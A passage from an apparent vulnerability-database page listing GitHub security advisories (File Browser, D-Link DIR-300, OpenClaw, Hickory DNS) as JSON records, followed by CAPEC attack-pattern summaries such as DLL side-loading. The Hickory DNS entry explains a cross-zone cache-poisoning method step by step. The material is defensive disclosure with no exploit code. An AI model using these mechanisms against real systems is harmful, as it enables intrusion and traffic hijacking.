(`store.Users.GetByScope(scope)` \u21d2 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that `cleanUsername` is never silently lossy.",
"id": "GHSA-7rc3-g7h6-22m7",
"modified": "2026-07-20T22:19:10Z",
"published": "2026-07-20T22:19:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7rc3-g7h6-22m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62685"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/883a36f02fcb69566a8628cb47f18fdc73348387"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "File Browser: Colliding username normalization gives two users the same home directory"
}
GHSA-7WRC-FQXQ-C226
Vulnerability from github – Published: 2023-05-23 03:30 – Updated: 2024-04-04 04:17D-Link DIR-300 firmware <=REVA1.06 and <=REVB2.06 is vulnerable to File inclusion via /model/__lang_msg.php.
{
"affected": [],
"aliases": [
"CVE-2023-31814"
],
"database_specific": {
"cwe_ids": [
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-23T01:15:10Z",
"severity": "CRITICAL"
},
"details": "D-Link DIR-300 firmware \u003c=REVA1.06 and \u003c=REVB2.06 is vulnerable to File inclusion via /model/__lang_msg.php.",
"id": "GHSA-7wrc-fqxq-c226",
"modified": "2024-04-04T04:17:25Z",
"published": "2023-05-23T03:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31814"
},
{
"type": "WEB",
"url": "https://gist.github.com/1915504804/9503198d3cbd5bc7db47625ac0caaade"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X86-836H-H8C5
Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31OpenClaw versions before 2026.6.9 contain an authorization bypass vulnerability in the flock wrapper that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can leverage configured input paths to bypass durable exec approval binding and perform unauthorized operations when the affected feature is enabled.
{
"affected": [],
"aliases": [
"CVE-2026-62190"
],
"database_specific": {
"cwe_ids": [
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T22:16:50Z",
"severity": "HIGH"
},
"details": "OpenClaw versions before 2026.6.9 contain an authorization bypass vulnerability in the flock wrapper that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can leverage configured input paths to bypass durable exec approval binding and perform unauthorized operations when the affected feature is enabled.",
"id": "GHSA-7x86-836h-h8c5",
"modified": "2026-07-14T00:31:03Z",
"published": "2026-07-14T00:31:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3fp5-v549-9v66"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62190"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-authorization-bypass-via-flock-wrapper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-83HF-93M4-RGWQ
Vulnerability from github – Published: 2026-04-30 18:10 – Updated: 2026-04-30 18:10Summary
The Hickory DNS project's experimental hickory-recursor crate's record cache (DnsLru) stores records from DNS responses keyed by each record's own (name, type), not by the query that triggered the response. cache_response() in crates/recursor/src/lib.rs chains ANSWER, AUTHORITY, and ADDITIONAL sections into one record iterator before insertion. The bailiwick filter it applies uses the zone context of the NS pool that serviced the lookup, not the zone being queried.
This creates a cross-zone poisoning path. When Hickory builds the NS pool for attacker.poc. it uses the parent poc. NS pool (ns.zone() = "poc."). If the poc. nameserver under the attacker's control includes in its response's AUTHORITY section a record for a sibling zone like victim.poc. NS ns.evil.poc., the bailiwick check is_subzone("poc.", "victim.poc.") passes (victim.poc. is a subdomain of poc.). The record is stored under (victim.poc., NS) in the shared cache.
Subsequently, any client querying a name in victim.poc. causes Hickory to build its NS pool from the poisoned cache entry, routing queries to the attacker's nameserver (ns.evil.poc.) rather than to the legitimate nameserver for victim.poc.. The legitimate NS for that zone receives zero queries.
This issue is fixed in hickory-resolver 0.26.0 with the recursor feature through an architectural change to response-level caching: responses are stored keyed by the originating query (name, type). A response to (attacker.poc. NS) is stored only under that key and cannot affect the (victim.poc., NS) cache entry.
Hickory DNS believes this issue has been present in all published versions of the experimental hickory-recursor crate, which has now been folded into the hickory-resolver crate under the non-default recursor feature flag. The hickory-recursor crate will not receive any updates going forward and all users should migrate to hickory-resolver with the recursor feature.
Users of the hickory-dns binary configured with the opt-in recursor feature and a configuration acting as a recursive resolver should update to 0.26.0+.
Reporter
Qifan Zhang, Palo Alto Networks
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.25.2"
},
"package": {
"ecosystem": "crates.io",
"name": "hickory-recursor"
},
"ranges": [
{
"events": [
{
"introduced": "0.24.0"
},
{
"fixed": "0.26.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "hickory-recursor"
},
"versions": [
"0.1"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-706"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T18:10:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Summary\n\nThe Hickory DNS project\u0027s experimental `hickory-recursor` crate\u0027s record cache (`DnsLru`) stores records from DNS responses keyed by each record\u0027s own (name, type), not by the query that triggered the response. `cache_response()` in `crates/recursor/src/lib.rs` chains `ANSWER`, `AUTHORITY`, and `ADDITIONAL` sections into one record iterator before insertion. The bailiwick filter it applies uses the zone context of the NS pool that serviced the lookup, not the zone being queried.\n\nThis creates a cross-zone poisoning path. When Hickory builds the NS pool for `attacker.poc.` it uses the parent `poc.` `NS` pool (`ns.zone() = \"poc.\"`). If the `poc.` nameserver under the attacker\u0027s control includes in its response\u0027s `AUTHORITY` section a record for a sibling zone like `victim.poc. NS ns.evil.poc.`, the bailiwick check `is_subzone(\"poc.\", \"victim.poc.\")` passes (`victim.poc.` is a subdomain of `poc.`). The record is stored under `(victim.poc., NS)` in the shared cache.\n\nSubsequently, any client querying a name in `victim.poc`. causes Hickory to build its NS pool from the poisoned cache entry, routing queries to the attacker\u0027s nameserver (`ns.evil.poc.`) rather than to the legitimate nameserver for `victim.poc.`. The legitimate `NS` for that zone receives zero queries.\n\nThis issue is fixed in `hickory-resolver` 0.26.0 with the `recursor` feature through an architectural change to response-level caching: responses are stored keyed by the originating query `(name, type)`. A response to `(attacker.poc. NS)` is stored only under that key and cannot affect the `(victim.poc., NS)` cache entry.\n\nHickory DNS believes this issue has been present in all published versions of the experimental `hickory-recursor` crate, which has now been folded into the `hickory-resolver` crate under the non-default `recursor` feature flag. The `hickory-recursor` crate will not receive any updates going forward and all users should migrate to `hickory-resolver` with the `recursor` feature.\n\nUsers of the `hickory-dns` binary configured with the opt-in `recursor` feature and a configuration acting as a recursive resolver should update to 0.26.0+.\n\n### Reporter \n\nQifan Zhang, Palo Alto Networks",
"id": "GHSA-83hf-93m4-rgwq",
"modified": "2026-04-30T18:10:58Z",
"published": "2026-04-30T18:10:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-83hf-93m4-rgwq"
},
{
"type": "PACKAGE",
"url": "https://github.com/hickory-dns/hickory-dns"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hickory DNS\u0027s Record Cache Accepts AUTHORITY-Section NS from Sibling Zone via Parent-Pool Zone-Context Elevation"
}
No mitigation information available for this CWE.
CAPEC-159: Redirect Access to Libraries
An adversary exploits a weakness in the way an application searches for external libraries to manipulate the execution flow to point to an adversary supplied library or code base. This pattern of attack allows the adversary to compromise the application or server via the execution of unauthorized code. An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. If an adversary can redirect an application's attempts to access these libraries to other libraries that the adversary supplies, the adversary will be able to force the targeted application to execute arbitrary code. This is especially dangerous if the targeted application has enhanced privileges. Access can be redirected through a number of techniques, including the use of symbolic links, search path modification, and relative path manipulation.
CAPEC-177: Create files with the same name as files protected with a higher classification
An attacker exploits file location algorithms in an operating system or application by creating a file with the same name as a protected or privileged file. The attacker could manipulate the system if the attacker-created file is trusted by the operating system or an application component that attempts to load the original file. Applications often load or include external files, such as libraries or configuration files. These files should be protected against malicious manipulation. However, if the application only uses the name of the file when locating it, an attacker may be able to create a file with the same name and place it in a directory that the application will search before the directory with the legitimate file is searched. Because the attackers' file is discovered first, it would be used by the target application. This attack can be extremely destructive if the referenced file is executable and/or is granted special privileges based solely on having a particular name.
CAPEC-48: Passing Local Filenames to Functions That Expect a URL
This attack relies on client side code to access local files and resources instead of URLs. When the client browser is expecting a URL string, but instead receives a request for a local file, that execution is likely to occur in the browser process space with the browser's authority to local files. The attacker can send the results of this request to the local files out to a site that they control. This attack may be used to steal sensitive authentication data (either local or remote), or to gain system profile information to launch further attacks.
CAPEC-641: DLL Side-Loading
An adversary places a malicious version of a Dynamic-Link Library (DLL) in the Windows Side-by-Side (WinSxS) directory to trick the operating system into loading this malicious DLL instead of a legitimate DLL. Programs specify the location of the DLLs to load via the use of WinSxS manifests or DLL redirection and if they aren't used then Windows searches in a predefined set of directories to locate the file. If the applications improperly specify a required DLL or WinSxS manifests aren't explicit about the characteristics of the DLL to be loaded, they can be vulnerable to side-loading.